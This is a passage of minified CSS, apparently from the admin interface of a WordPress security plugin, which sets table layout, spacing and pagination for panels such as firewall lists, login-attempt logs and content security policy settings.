.rdt_TableRow:nth-child(odd),.rsssl-mixed-content-scan .rsssl-field-wrap .rdt_TableRow:nth-child(odd),.rsssl-limit_login_attempts_ip_address .rsssl-field-wrap .rdt_TableRow:nth-child(odd),.rsssl-content_security_policy .rsssl-field-wrap .rdt_TableRow:nth-child(odd),.rsssl-hardening-xml .rsssl-field-wrap .rdt_TableRow:nth-child(odd){background-color:var(--rsp-grey-200)}.rsssl-404_blocking .rsssl-field-wrap .rdt_TableRow .rdt_TableCell:last-child,.rsssl-user_agents .rsssl-field-wrap .rdt_TableRow .rdt_TableCell:last-child,.rsssl-content_security_policy_source_directives .rsssl-field-wrap .rdt_TableRow .rdt_TableCell:last-child,.rsssl-firewall_block_list_listing .rsssl-field-wrap .rdt_TableRow .rdt_TableCell:last-child,.rsssl-vulnerabilities-measures-overview .rsssl-field-wrap .rdt_TableRow .rdt_TableCell:last-child,.rsssl-two_fa_users .rsssl-field-wrap .rdt_TableRow .rdt_TableCell:last-child,.rsssl-firewall_list_listing .rsssl-field-wrap .rdt_TableRow .rdt_TableCell:last-child,.rsssl-vulnerabilities_overview .rsssl-field-wrap .rdt_TableRow .rdt_TableCell:last-child,.rsssl-permissions_policy .rsssl-field-wrap .rdt_TableRow .rdt_TableCell:last-child,.rsssl-firewall_white_list_listing .rsssl-field-wrap .rdt_TableRow .rdt_TableCell:last-child,.rsssl-firewall_logs_content .rsssl-field-wrap .rdt_TableRow .rdt_TableCell:last-child,.rsssl-limit_login_attempts_country .rsssl-field-wrap .rdt_TableRow .rdt_TableCell:last-child,.rsssl-limit_login_attempts_users .rsssl-field-wrap .rdt_TableRow .rdt_TableCell:last-child,.rsssl-limit_login_attempts_event_log .rsssl-field-wrap .rdt_TableRow .rdt_TableCell:last-child,.rsssl-mixed-content-scan .rsssl-field-wrap .rdt_TableRow .rdt_TableCell:last-child,.rsssl-limit_login_attempts_ip_address .rsssl-field-wrap .rdt_TableRow .rdt_TableCell:last-child,.rsssl-content_security_policy .rsssl-field-wrap .rdt_TableRow .rdt_TableCell:last-child,.rsssl-hardening-xml .rsssl-field-wrap .rdt_TableRow .rdt_TableCell:last-child{flex-grow:0}.rsssl-404_blocking .rsssl-field-wrap .rsssl-csp-revoked>div:nth-child(-n+3),.rsssl-user_agents .rsssl-field-wrap .rsssl-csp-revoked>div:nth-child(-n+3),.rsssl-content_security_policy_source_directives .rsssl-field-wrap .rsssl-csp-revoked>div:nth-child(-n+3),.rsssl-firewall_block_list_listing .rsssl-field-wrap .rsssl-csp-revoked>div:nth-child(-n+3),.rsssl-vulnerabilities-measures-overview .rsssl-field-wrap .rsssl-csp-revoked>div:nth-child(-n+3),.rsssl-two_fa_users .rsssl-field-wrap .rsssl-csp-revoked>div:nth-child(-n+3),.rsssl-firewall_list_listing .rsssl-field-wrap .rsssl-csp-revoked>div:nth-child(-n+3),.rsssl-vulnerabilities_overview .rsssl-field-wrap .rsssl-csp-revoked>div:nth-child(-n+3),.rsssl-permissions_policy .rsssl-field-wrap .rsssl-csp-revoked>div:nth-child(-n+3),.rsssl-firewall_white_list_listing .rsssl-field-wrap .rsssl-csp-revoked>div:nth-child(-n+3),.rsssl-firewall_logs_content .rsssl-field-wrap .rsssl-csp-revoked>div:nth-child(-n+3),.rsssl-limit_login_attempts_country .rsssl-field-wrap .rsssl-csp-revoked>div:nth-child(-n+3),.rsssl-limit_login_attempts_users .rsssl-field-wrap .rsssl-csp-revoked>div:nth-child(-n+3),.rsssl-limit_login_attempts_event_log .rsssl-field-wrap .rsssl-csp-revoked>div:nth-child(-n+3),.rsssl-mixed-content-scan .rsssl-field-wrap .rsssl-csp-revoked>div:nth-child(-n+3),.rsssl-limit_login_attempts_ip_address .rsssl-field-wrap .rsssl-csp-revoked>div:nth-child(-n+3),.rsssl-content_security_policy .rsssl-field-wrap .rsssl-csp-revoked>div:nth-child(-n+3),.rsssl-hardening-xml .rsssl-field-wrap .rsssl-csp-revoked>div:nth-child(-n+3){opacity:.3}.rsssl-content_security_policy .rdt_TableHeadRow .rdt_TableCol:last-child,.rsssl-permissions_policy .rdt_TableHeadRow .rdt_TableCol:last-child,.rsssl-field-wrap .rdt_TableHeadRow .rdt_TableCol:last-child{flex-grow:0;min-width:initial;justify-content:flex-end}.rdt_TableRow .rdt_TableCell:last-child{flex-grow:0;min-width:initial}.rsssl-csp-revoked>div:nth-child(-n+3){opacity:.3}.rsssl-content_security_policy .rsssl-field-wrap>div>div,.rsssl-xml_rpc .rsssl-field-wrap>div>div{overflow-x:inherit;overflow-y:inherit}.rsssl-mixed-content-datatable>div>div{display:flex}.rsssl-vulnerabilities_measures .rdt_TableRow .rdt_TableCell:nth-child(3){max-width:50%}.rsssl-vulnerabilities_measures .rsssl-field-wrap,.rsssl-404_blocking .rsssl-field-wrap,.rsssl-user_agents .rsssl-field-wrap,.rsssl-firewall_logs .rsssl-field-wrap,.rsssl-permissions_policy .rsssl-field-wrap,.rsssl-two_fa_users .rsssl-field-wrap,.rsssl-vulnerabilities-measures-overview .rsssl-field-wrap,.rsssl-content_security_policy_source_directives .rsssl-field-wrap,.rsssl-firewall_white_list_listing .rsssl-field-wrap,.rsssl-firewall_block_list_listing .rsssl-field-wrap,.rsssl-firewall_list_listing .rsssl-field-wrap,.rsssl-vulnerabilities_overview .rsssl-field-wrap,.rsssl-limit_login_attempts_country .rsssl-field-wrap,.rsssl-limit_login_attempts_users .rsssl-field-wrap,.rsssl-firewall_event_log_viewer .rsssl-field-wrap,.rsssl-firewall_logs_content .rsssl-field-wrap,.rsssl-limit_login_attempts_event_log .rsssl-field-wrap,.rsssl-mixed-content-scan .rsssl-field-wrap,.rsssl-limit_login_attempts_ip_address .rsssl-field-wrap,.rsssl-content_security_policy .rsssl-field-wrap,.rsssl-hardening-xml .rsssl-field-wrap{margin-left:calc(-1 * var(--rsp-spacing-l));margin-right:calc(-1 * var(--rsp-spacing-l))}@media(max-width:1280px){.rsssl-vulnerabilities_measures .rsssl-field-wrap,.rsssl-404_blocking .rsssl-field-wrap,.rsssl-user_agents .rsssl-field-wrap,.rsssl-firewall_logs .rsssl-field-wrap,.rsssl-permissions_policy .rsssl-field-wrap,.rsssl-two_fa_users .rsssl-field-wrap,.rsssl-vulnerabilities-measures-overview .rsssl-field-wrap,.rsssl-content_security_policy_source_directives .rsssl-field-wrap,.rsssl-firewall_white_list_listing .rsssl-field-wrap,.rsssl-firewall_block_list_listing .rsssl-field-wrap,.rsssl-firewall_list_listing .rsssl-field-wrap,.rsssl-vulnerabilities_overview .rsssl-field-wrap,.rsssl-limit_login_attempts_country .rsssl-field-wrap,.rsssl-limit_login_attempts_users .rsssl-field-wrap,.rsssl-firewall_event_log_viewer .rsssl-field-wrap,.rsssl-firewall_logs_content .rsssl-field-wrap,.rsssl-limit_login_attempts_event_log .rsssl-field-wrap,.rsssl-mixed-content-scan .rsssl-field-wrap,.rsssl-limit_login_attempts_ip_address .rsssl-field-wrap,.rsssl-content_security_policy .rsssl-field-wrap,.rsssl-hardening-xml .rsssl-field-wrap{margin-left:calc(-1 * var(--rsp-spacing-m));margin-right:calc(-1 * var(--rsp-spacing-m))}}@media(max-width:1080px){.rsssl-vulnerabilities_measures .rsssl-field-wrap,.rsssl-404_blocking .rsssl-field-wrap,.rsssl-user_agents .rsssl-field-wrap,.rsssl-firewall_logs .rsssl-field-wrap,.rsssl-permissions_policy .rsssl-field-wrap,.rsssl-two_fa_users .rsssl-field-wrap,.rsssl-vulnerabilities-measures-overview .rsssl-field-wrap,.rsssl-content_security_policy_source_directives .rsssl-field-wrap,.rsssl-firewall_white_list_listing .rsssl-field-wrap,.rsssl-firewall_block_list_listing .rsssl-field-wrap,.rsssl-firewall_list_listing .rsssl-field-wrap,.rsssl-vulnerabilities_overview .rsssl-field-wrap,.rsssl-limit_login_attempts_country .rsssl-field-wrap,.rsssl-limit_login_attempts_users .rsssl-field-wrap,.rsssl-firewall_event_log_viewer .rsssl-field-wrap,.rsssl-firewall_logs_content .rsssl-field-wrap,.rsssl-limit_login_attempts_event_log .rsssl-field-wrap,.rsssl-mixed-content-scan .rsssl-field-wrap,.rsssl-limit_login_attempts_ip_address .rsssl-field-wrap,.rsssl-content_security_policy .rsssl-field-wrap,.rsssl-hardening-xml .rsssl-field-wrap{margin-left:calc(-1 * var(--rsp-spacing-s));margin-right:calc(-1 * var(--rsp-spacing-s))}}.rsssl-vulnerabilities_measures .rsssl-field-wrap>.components-base-control,.rsssl-vulnerabilities_measures .rsssl-field-wrap .rsssl-comment,.rsssl-vulnerabilities_measures .rsssl-field-wrap .rsssl-progress-container,.rsssl-vulnerabilities_measures .rsssl-field-wrap>div>button,.rsssl-vulnerabilities_measures .rsssl-field-wrap .rsssl-learning-mode-footer,.rsssl-vulnerabilities_measures .rsssl-field-wrap .rsssl-mixed-content-description,.rsssl-vulnerabilities_measures .rsssl-field-wrap .rsssl-current-scan-action,.rsssl-404_blocking .rsssl-field-wrap>.components-base-control,.rsssl-404_blocking .rsssl-field-wrap .rsssl-comment,.rsssl-404_blocking .rsssl-field-wrap .rsssl-progress-container,.rsssl-404_blocking .rsssl-field-wrap>div>button,.rsssl-404_blocking .rsssl-field-wrap .rsssl-learning-mode-footer,.rsssl-404_blocking .rsssl-field-wrap .rsssl-mixed-content-description,.rsssl-404_blocking .rsssl-field-wrap .rsssl-current-scan-action,.rsssl-user_agents .rsssl-field-wrap>.components-base-control,.rsssl-user_agents .rsssl-field-wrap .rsssl-comment,.rsssl-user_agents .rsssl-field-wrap .rsssl-progress-container,.rsssl-user_agents .rsssl-field-wrap>div>button,.rsssl-user_agents .rsssl-field-wrap .rsssl-learning-mode-footer,.rsssl-user_agents .rsssl-field-wrap .rsssl-mixed-content-description,.rsssl-user_agents .rsssl-field-wrap .rsssl-current-scan-action,.rsssl-firewall_logs .rsssl-field-wrap>.components-base-control,.rsssl-firewall_logs .rsssl-field-wrap .rsssl-comment,.rsssl-firewall_logs .rsssl-field-wrap .rsssl-progress-container,.rsssl-firewall_logs .rsssl-field-wrap>div>button,.rsssl-firewall_logs .rsssl-field-wrap .rsssl-learning-mode-footer,.rsssl-firewall_logs .rsssl-field-wrap .rsssl-mixed-content-description,.rsssl-firewall_logs .rsssl-field-wrap .rsssl-current-scan-action,.rsssl-permissions_policy .rsssl-field-wrap>.components-base-control,.rsssl-permissions_policy .rsssl-field-wrap .rsssl-comment,.rsssl-permissions_policy .rsssl-field-wrap .rsssl-progress-container,.rsssl-permissions_policy .rsssl-field-wrap>div>button,.rsssl-permissions_policy .rsssl-field-wrap .rsssl-learning-mode-footer,.rsssl-permissions_policy .rsssl-field-wrap .rsssl-mixed-content-description,.rsssl-permissions_policy .rsssl-field-wrap .rsssl-current-scan-action,.rsssl-two_fa_users .rsssl-field-wrap>.components-base-control,.rsssl-two_fa_users .rsssl-field-wrap .rsssl-comment,.rsssl-two_fa_users .rsssl-field-wrap .rsssl-progress-container,.rsssl-two_fa_users .rsssl-field-wrap>div>button,.rsssl-two_fa_users .rsssl-field-wrap .rsssl-learning-mode-footer,.rsssl-two_fa_users .rsssl-field-wrap .rsssl-mixed-content-description,.rsssl-two_fa_users .rsssl-field-wrap .rsssl-current-scan-action,.rsssl-vulnerabilities-measures-overview .rsssl-field-wrap>.components-base-control,.rsssl-vulnerabilities-measures-overview .rsssl-field-wrap .rsssl-comment,.rsssl-vulnerabilities-measures-overview .rsssl-field-wrap .rsssl-progress-container,.rsssl-vulnerabilities-measures-overview .rsssl-field-wrap>div>button,.rsssl-vulnerabilities-measures-overview .rsssl-field-wrap .rsssl-learning-mode-footer,.rsssl-vulnerabilities-measures-overview .rsssl-field-wrap .rsssl-mixed-content-description,.rsssl-vulnerabilities-measures-overview .rsssl-field-wrap .rsssl-current-scan-action,.rsssl-content_security_policy_source_directives .rsssl-field-wrap>.components-base-control,.rsssl-content_security_policy_source_directives .rsssl-field-wrap .rsssl-comment,.rsssl-content_security_policy_source_directives .rsssl-field-wrap .rsssl-progress-container,.rsssl-content_security_policy_source_directives .rsssl-field-wrap>div>button,.rsssl-content_security_policy_source_directives .rsssl-field-wrap .rsssl-learning-mode-footer,.rsssl-content_security_policy_source_directives .rsssl-field-wrap .rsssl-mixed-content-description,.rsssl-content_security_policy_source_directives .rsssl-field-wrap .rsssl-current-scan-action,.rsssl-firewall_white_list_listing .rsssl-field-wrap>.components-base-control,.rsssl-firewall_white_list_listing .rsssl-field-wrap .rsssl-comment,.rsssl-firewall_white_list_listing .rsssl-field-wrap .rsssl-progress-container,.rsssl-firewall_white_list_listing .rsssl-field-wrap>div>button,.rsssl-firewall_white_list_listing .rsssl-field-wrap .rsssl-learning-mode-footer,.rsssl-firewall_white_list_listing .rsssl-field-wrap .rsssl-mixed-content-description,.rsssl-firewall_white_list_listing .rsssl-field-wrap .rsssl-current-scan-action,.rsssl-firewall_block_list_listing .rsssl-field-wrap>.components-base-control,.rsssl-firewall_block_list_listing .rsssl-field-wrap .rsssl-comment,.rsssl-firewall_block_list_listing .rsssl-field-wrap .rsssl-progress-container,.rsssl-firewall_block_list_listing .rsssl-field-wrap>div>button,.rsssl-firewall_block_list_listing .rsssl-field-wrap .rsssl-learning-mode-footer,.rsssl-firewall_block_list_listing .rsssl-field-wrap .rsssl-mixed-content-description,.rsssl-firewall_block_list_listing .rsssl-field-wrap .rsssl-current-scan-action,.rsssl-firewall_list_listing .rsssl-field-wrap>.components-base-control,.rsssl-firewall_list_listing .rsssl-field-wrap .rsssl-comment,.rsssl-firewall_list_listing .rsssl-field-wrap .rsssl-progress-container,.rsssl-firewall_list_listing .rsssl-field-wrap>div>button,.rsssl-firewall_list_listing .rsssl-field-wrap .rsssl-learning-mode-footer,.rsssl-firewall_list_listing .rsssl-field-wrap .rsssl-mixed-content-description,.rsssl-firewall_list_listing .rsssl-field-wrap .rsssl-current-scan-action,.rsssl-vulnerabilities_overview .rsssl-field-wrap>.components-base-control,.rsssl-vulnerabilities_overview .rsssl-field-wrap .rsssl-comment,.rsssl-vulnerabilities_overview .rsssl-field-wrap .rsssl-progress-container,.rsssl-vulnerabilities_overview .rsssl-field-wrap>div>button,.rsssl-vulnerabilities_overview .rsssl-field-wrap .rsssl-learning-mode-footer,.rsssl-vulnerabilities_overview .rsssl-field-wrap .rsssl-mixed-content-description,.rsssl-vulnerabilities_overview .rsssl-field-wrap .rsssl-current-scan-action,.rsssl-limit_login_attempts_country .rsssl-field-wrap>.components-base-control,.rsssl-limit_login_attempts_country .rsssl-field-wrap .rsssl-comment,.rsssl-limit_login_attempts_country .rsssl-field-wrap .rsssl-progress-container,.rsssl-limit_login_attempts_country .rsssl-field-wrap>div>button,.rsssl-limit_login_attempts_country .rsssl-field-wrap .rsssl-learning-mode-footer,.rsssl-limit_login_attempts_country .rsssl-field-wrap .rsssl-mixed-content-description,.rsssl-limit_login_attempts_country .rsssl-field-wrap .rsssl-current-scan-action,.rsssl-limit_login_attempts_users .rsssl-field-wrap>.components-base-control,.rsssl-limit_login_attempts_users .rsssl-field-wrap .rsssl-comment,.rsssl-limit_login_attempts_users .rsssl-field-wrap .rsssl-progress-container,.rsssl-limit_login_attempts_users .rsssl-field-wrap>div>button,.rsssl-limit_login_attempts_users .rsssl-field-wrap .rsssl-learning-mode-footer,.rsssl-limit_login_attempts_users .rsssl-field-wrap .rsssl-mixed-content-description,.rsssl-limit_login_attempts_users .rsssl-field-wrap .rsssl-current-scan-action,.rsssl-firewall_event_log_viewer .rsssl-field-wrap>.components-base-control,.rsssl-firewall_event_log_viewer .rsssl-field-wrap .rsssl-comment,.rsssl-firewall_event_log_viewer .rsssl-field-wrap .rsssl-progress-container,.rsssl-firewall_event_log_viewer .rsssl-field-wrap>div>button,.rsssl-firewall_event_log_viewer .rsssl-field-wrap .rsssl-learning-mode-footer,.rsssl-firewall_event_log_viewer .rsssl-field-wrap .rsssl-mixed-content-description,.rsssl-firewall_event_log_viewer .rsssl-field-wrap .rsssl-current-scan-action,.rsssl-firewall_logs_content .rsssl-field-wrap>.components-base-control,.rsssl-firewall_logs_content .rsssl-field-wrap .rsssl-comment,.rsssl-firewall_logs_content .rsssl-field-wrap .rsssl-progress-container,.rsssl-firewall_logs_content .rsssl-field-wrap>div>button,.rsssl-firewall_logs_content .rsssl-field-wrap .rsssl-learning-mode-footer,.rsssl-firewall_logs_content .rsssl-field-wrap .rsssl-mixed-content-description,.rsssl-firewall_logs_content .rsssl-field-wrap .rsssl-current-scan-action,.rsssl-limit_login_attempts_event_log .rsssl-field-wrap>.components-base-control,.rsssl-limit_login_attempts_event_log .rsssl-field-wrap .rsssl-comment,.rsssl-limit_login_attempts_event_log .rsssl-field-wrap .rsssl-progress-container,.rsssl-limit_login_attempts_event_log .rsssl-field-wrap>div>button,.rsssl-limit_login_attempts_event_log .rsssl-field-wrap .rsssl-learning-mode-footer,.rsssl-limit_login_attempts_event_log .rsssl-field-wrap .rsssl-mixed-content-description,.rsssl-limit_login_attempts_event_log .rsssl-field-wrap .rsssl-current-scan-action,.rsssl-mixed-content-scan .rsssl-field-wrap>.components-base-control,.rsssl-mixed-content-scan .rsssl-field-wrap .rsssl-comment,.rsssl-mixed-content-scan .rsssl-field-wrap .rsssl-progress-container,.rsssl-mixed-content-scan .rsssl-field-wrap>div>button,.rsssl-mixed-content-scan .rsssl-field-wrap .rsssl-learning-mode-footer,.rsssl-mixed-content-scan .rsssl-field-wrap .rsssl-mixed-content-description,.rsssl-mixed-content-scan .rsssl-field-wrap .rsssl-current-scan-action,.rsssl-limit_login_attempts_ip_address .rsssl-field-wrap>.components-base-control,.rsssl-limit_login_attempts_ip_address .rsssl-field-wrap .rsssl-comment,.rsssl-limit_login_attempts_ip_address .rsssl-field-wrap .rsssl-progress-container,.rsssl-limit_login_attempts_ip_address .rsssl-field-wrap>div>button,.rsssl-limit_login_attempts_ip_address .rsssl-field-wrap .rsssl-learning-mode-footer,.rsssl-limit_login_attempts_ip_address .rsssl-field-wrap .rsssl-mixed-content-description,.rsssl-limit_login_attempts_ip_address .rsssl-field-wrap .rsssl-current-scan-action,.rsssl-content_security_policy .rsssl-field-wrap>.components-base-control,.rsssl-content_security_policy .rsssl-field-wrap .rsssl-comment,.rsssl-content_security_policy .rsssl-field-wrap .rsssl-progress-container,.rsssl-content_security_policy .rsssl-field-wrap>div>button,.rsssl-content_security_policy .rsssl-field-wrap .rsssl-learning-mode-footer,.rsssl-content_security_policy .rsssl-field-wrap .rsssl-mixed-content-description,.rsssl-content_security_policy .rsssl-field-wrap .rsssl-current-scan-action,.rsssl-hardening-xml .rsssl-field-wrap>.components-base-control,.rsssl-hardening-xml .rsssl-field-wrap .rsssl-comment,.rsssl-hardening-xml .rsssl-field-wrap .rsssl-progress-container,.rsssl-hardening-xml .rsssl-field-wrap>div>button,.rsssl-hardening-xml .rsssl-field-wrap .rsssl-learning-mode-footer,.rsssl-hardening-xml .rsssl-field-wrap .rsssl-mixed-content-description,.rsssl-hardening-xml .rsssl-field-wrap .rsssl-current-scan-action{margin-left:var(--rsp-spacing-l);margin-right:var(--rsp-spacing-l)}.rsssl-vulnerabilities_measures .rdt_TableCell:first-child,.rsssl-vulnerabilities_measures .rdt_TableCol:first-child,.rsssl-404_blocking .rdt_TableCell:first-child,.rsssl-404_blocking .rdt_TableCol:first-child,.rsssl-user_agents .rdt_TableCell:first-child,.rsssl-user_agents .rdt_TableCol:first-child,.rsssl-firewall_logs .rdt_TableCell:first-child,.rsssl-firewall_logs .rdt_TableCol:first-child,.rsssl-permissions_policy .rdt_TableCell:first-child,.rsssl-permissions_policy .rdt_TableCol:first-child,.rsssl-two_fa_users .rdt_TableCell:first-child,.rsssl-two_fa_users .rdt_TableCol:first-child,.rsssl-vulnerabilities-measures-overview .rdt_TableCell:first-child,.rsssl-vulnerabilities-measures-overview .rdt_TableCol:first-child,.rsssl-content_security_policy_source_directives .rdt_TableCell:first-child,.rsssl-content_security_policy_source_directives .rdt_TableCol:first-child,.rsssl-firewall_white_list_listing .rdt_TableCell:first-child,.rsssl-firewall_white_list_listing .rdt_TableCol:first-child,.rsssl-firewall_block_list_listing .rdt_TableCell:first-child,.rsssl-firewall_block_list_listing .rdt_TableCol:first-child,.rsssl-firewall_list_listing .rdt_TableCell:first-child,.rsssl-firewall_list_listing .rdt_TableCol:first-child,.rsssl-vulnerabilities_overview .rdt_TableCell:first-child,.rsssl-vulnerabilities_overview .rdt_TableCol:first-child,.rsssl-limit_login_attempts_country .rdt_TableCell:first-child,.rsssl-limit_login_attempts_country .rdt_TableCol:first-child,.rsssl-limit_login_attempts_users .rdt_TableCell:first-child,.rsssl-limit_login_attempts_users .rdt_TableCol:first-child,.rsssl-firewall_event_log_viewer .rdt_TableCell:first-child,.rsssl-firewall_event_log_viewer .rdt_TableCol:first-child,.rsssl-firewall_logs_content .rdt_TableCell:first-child,.rsssl-firewall_logs_content .rdt_TableCol:first-child,.rsssl-limit_login_attempts_event_log .rdt_TableCell:first-child,.rsssl-limit_login_attempts_event_log .rdt_TableCol:first-child,.rsssl-mixed-content-scan .rdt_TableCell:first-child,.rsssl-mixed-content-scan .rdt_TableCol:first-child,.rsssl-limit_login_attempts_ip_address .rdt_TableCell:first-child,.rsssl-limit_login_attempts_ip_address .rdt_TableCol:first-child,.rsssl-content_security_policy .rdt_TableCell:first-child,.rsssl-content_security_policy .rdt_TableCol:first-child,.rsssl-hardening-xml .rdt_TableCell:first-child,.rsssl-hardening-xml .rdt_TableCol:first-child{padding-left:var(--rsp-spacing-l);padding-right:var(--rsp-spacing-l)}.rsssl-vulnerabilities_measures .rdt_TableCell:last-child,.rsssl-vulnerabilities_measures .rdt_TableCol:last-child,.rsssl-404_blocking .rdt_TableCell:last-child,.rsssl-404_blocking .rdt_TableCol:last-child,.rsssl-user_agents .rdt_TableCell:last-child,.rsssl-user_agents .rdt_TableCol:last-child,.rsssl-firewall_logs .rdt_TableCell:last-child,.rsssl-firewall_logs .rdt_TableCol:last-child,.rsssl-permissions_policy .rdt_TableCell:last-child,.rsssl-permissions_policy .rdt_TableCol:last-child,.rsssl-two_fa_users .rdt_TableCell:last-child,.rsssl-two_fa_users .rdt_TableCol:last-child,.rsssl-vulnerabilities-measures-overview .rdt_TableCell:last-child,.rsssl-vulnerabilities-measures-overview .rdt_TableCol:last-child,.rsssl-content_security_policy_source_directives .rdt_TableCell:last-child,.rsssl-content_security_policy_source_directives .rdt_TableCol:last-child,.rsssl-firewall_white_list_listing .rdt_TableCell:last-child,.rsssl-firewall_white_list_listing .rdt_TableCol:last-child,.rsssl-firewall_block_list_listing .rdt_TableCell:last-child,.rsssl-firewall_block_list_listing .rdt_TableCol:last-child,.rsssl-firewall_list_listing .rdt_TableCell:last-child,.rsssl-firewall_list_listing .rdt_TableCol:last-child,.rsssl-vulnerabilities_overview .rdt_TableCell:last-child,.rsssl-vulnerabilities_overview .rdt_TableCol:last-child,.rsssl-limit_login_attempts_country .rdt_TableCell:last-child,.rsssl-limit_login_attempts_country .rdt_TableCol:last-child,.rsssl-limit_login_attempts_users .rdt_TableCell:last-child,.rsssl-limit_login_attempts_users .rdt_TableCol:last-child,.rsssl-firewall_event_log_viewer .rdt_TableCell:last-child,.rsssl-firewall_event_log_viewer .rdt_TableCol:last-child,.rsssl-firewall_logs_content .rdt_TableCell:last-child,.rsssl-firewall_logs_content .rdt_TableCol:last-child,.rsssl-limit_login_attempts_event_log .rdt_TableCell:last-child,.rsssl-limit_login_attempts_event_log .rdt_TableCol:last-child,.rsssl-mixed-content-scan .rdt_TableCell:last-child,.rsssl-mixed-content-scan .rdt_TableCol:last-child,.rsssl-limit_login_attempts_ip_address .rdt_TableCell:last-child,.rsssl-limit_login_attempts_ip_address .rdt_TableCol:last-child,.rsssl-content_security_policy .rdt_TableCell:last-child,.rsssl-content_security_policy .rdt_TableCol:last-child,.rsssl-hardening-xml .rdt_TableCell:last-child,.rsssl-hardening-xml .rdt_TableCol:last-child{padding-right:var(--rsp-spacing-l)}.rsssl-content_security_policy .rdt_TableCell,.rsssl-content_security_policy .rdt_TableCol,.rsssl-permissions_policy .rdt_TableCell,.rsssl-permissions_policy .rdt_TableCol,.rsssl-firewall_list_listing .rdt_TableCell,.rsssl-firewall_list_listing .rdt_TableCol,.rsssl-user_agents .rdt_TableCell,.rsssl-user_agents .rdt_TableCol,.rsssl-404_blocking .rdt_TableCell,.rsssl-404_blocking .rdt_TableCol,.rsssl-firewall_white_list_listing .rdt_TableCell,.rsssl-firewall_white_list_listing .rdt_TableCol,.rsssl-firewall_block_list_listing .rdt_TableCell,.rsssl-firewall_block_list_listing .rdt_TableCol,.rsssl-hardening-xml .rdt_TableCell,.rsssl-hardening-xml .rdt_TableCol,.rsssl-vulnerabilities_overview .rdt_TableCell,.rsssl-vulnerabilities_overview .rdt_TableCol,.rsssl-content_security_policy_source_directives .rdt_TableCell,.rsssl-content_security_policy_source_directives .rdt_TableCol,.rsssl-vulnerabilities-measures-overview .rdt_TableCell,.rsssl-vulnerabilities-measures-overview .rdt_TableCol,.rsssl-limit_login_attempts_ip_address .rdt_TableCell,.rsssl-limit_login_attempts_ip_address .rdt_TableCol,.rsssl-limit_login_attempts_users .rdt_TableCell,.rsssl-limit_login_attempts_users .rdt_TableCol,.rsssl-limit_login_attempts_country .rdt_TableCell,.rsssl-limit_login_attempts_country .rdt_TableCol,.rsssl-two_fa_users .rdt_TableCell,.rsssl-two_fa_users .rdt_TableCol,.rsssl-firewall_logs .rdt_TableCell,.rsssl-firewall_logs .rdt_TableCol,.rsssl-firewall_logs_content .rdt_TableCell,.rsssl-firewall_logs_content .rdt_TableCol,.rsssl-limit_login_attempts_event_log .rdt_TableCell,.rsssl-limit_login_attempts_event_log .rdt_TableCol{min-width:initial}.rsssl-content_security_policy .rdt_Pagination,.rsssl-permissions_policy .rdt_Pagination,.rsssl-firewall_list_listing .rdt_Pagination,.rsssl-user_agents .rdt_Pagination,.rsssl-404_blocking .rdt_Pagination,.rsssl-firewall_white_list_listing .rdt_Pagination,.rsssl-firewall_block_list_listing .rdt_Pagination,.rsssl-hardening-xml .rdt_Pagination,.rsssl-vulnerabilities_overview .rdt_Pagination,.rsssl-content_security_policy_source_directives .rdt_Pagination,.rsssl-vulnerabilities-measures-overview .rdt_Pagination,.rsssl-limit_login_attempts_ip_address .rdt_Pagination,.rsssl-limit_login_attempts_users .rdt_Pagination,.rsssl-limit_login_attempts_country .rdt_Pagination,.rsssl-two_fa_users .rdt_Pagination,.rsssl-firewall_logs .rdt_Pagination,.rsssl-firewall_logs_content .rdt_Pagination,.rsssl-limit_login_attempts_event_log .rdt_Pagination{margin-top:0;padding:0 25px}.rsssl-content_security_policy .rdt_tableCell:has(div>.rsssl-action-buttons),.rsssl-permissions_policy .rdt_tableCell:has(div>.rsssl-action-buttons),.rsssl-firewall_list_listing .rdt_tableCell:has(div>.rsssl-action-buttons),.rsssl-user_agents .rdt_tableCell:has(div>.rsssl-action-buttons),.rsssl-404_blocking .rdt_tableCell:has(div>.rsssl-action-buttons),.rsssl-firewall_white_list_listing .rdt_tableCell:has(div>.rsssl-action-buttons),.rsssl-firewall_block_list_listing .rdt_tableCell:has(div>.rsssl-action-buttons),.rsssl-hardening-xml .rdt_tableCell:has(div>.rsssl-action-buttons),.rsssl-vulnerabilities_overview .rdt_tableCell:has(div>.rsssl-action-buttons),.rsssl-content_security_policy_source_directives .rdt_tableCell:has(div>.rsssl-action-buttons),.rsssl-vulnerabilities-measures-overview .rdt_tableCell:has(div>.rsssl-action-buttons),.rsssl-limit_login_attempts_ip_address .rdt_tableCell:has(div>.rsssl-action-buttons),.rsssl-limit_login_attempts_users .rdt_tableCell:has(div>.rsssl-action-buttons),.rsssl-limit_login_attempts_country .rdt_tableCell:has(div>.rsssl-action-buttons),.rsssl-two_fa_users .rdt_tableCell:has(div>.rsssl-action-buttons),.rsssl-firewall_logs .rdt_tableCell:has(div>.rsssl-action-buttons),.rsssl-firewall_logs_content .rdt_tableCell:has(div>.rsssl-action-buttons),.rsssl-limit_login_attempts_event_log .rdt_tableCell:has(div>.rsssl-action-buttons){position:relative}.rsssl-content_security_policy .rsssl-field-wrap,.rsssl-permissions_policy .rsssl-field-wrap,.rsssl-firewall_list_listing .rsssl-field-wrap,.rsssl-user_agents .rsssl-field-wrap,.rsssl-404_blocking .rsssl-field-wrap,.rsssl-firewall_white_list_listing .rsssl-field-wrap,.rsssl-firewall_block_list_listing .rsssl-field-wrap,.rsssl-hardening-xml .rsssl-field-wrap,.rsssl-vulnerabilities_overview .rsssl-field-wrap,.rsssl-content_security_policy_source_directives .rsssl-field-wrap,.rsssl-vulnerabilities-measures-overview .rsssl-field-wrap,.rsssl-limit_login_attempts_ip_address .rsssl-field-wrap,.rsssl-limit_login_attempts_users .rsssl-field-wrap,.rsssl-limit_login_attempts_country .rsssl-field-wrap,.rsssl-two_fa_users .rsssl-field-wrap,.rsssl-firewall_logs .rsssl-field-wrap,.rsssl-firewall_logs_content .rsssl-field-wrap,.rsssl-limit_login_attempts_event_log .rsssl-field-wrap{padding:0}.rsssl-content_security_policy .rsssl-field-wrap .rdt_TableHeadRow .rdt_TableCol:last-child,.rsssl-permissions_policy .rsssl-field-wrap .rdt_TableHeadRow .rdt_TableCol:last-child,.rsssl-firewall_list_listing .rsssl-field-wrap .rdt_TableHeadRow .rdt_TableCol:last-child,.rsssl-user_agents .rsssl-field-wrap .rdt_TableHeadRow .rdt_TableCol:last-child,.rsssl-404_blocking .rsssl-field-wrap .rdt_TableHeadRow .rdt_TableCol:last-child,.rsssl-firewall_white_list_listing .rsssl-field-wrap .rdt_TableHeadRow .rdt_TableCol:last-child,.rsssl-firewall_block_list_listing .rsssl-field-wrap .rdt_TableHeadRow 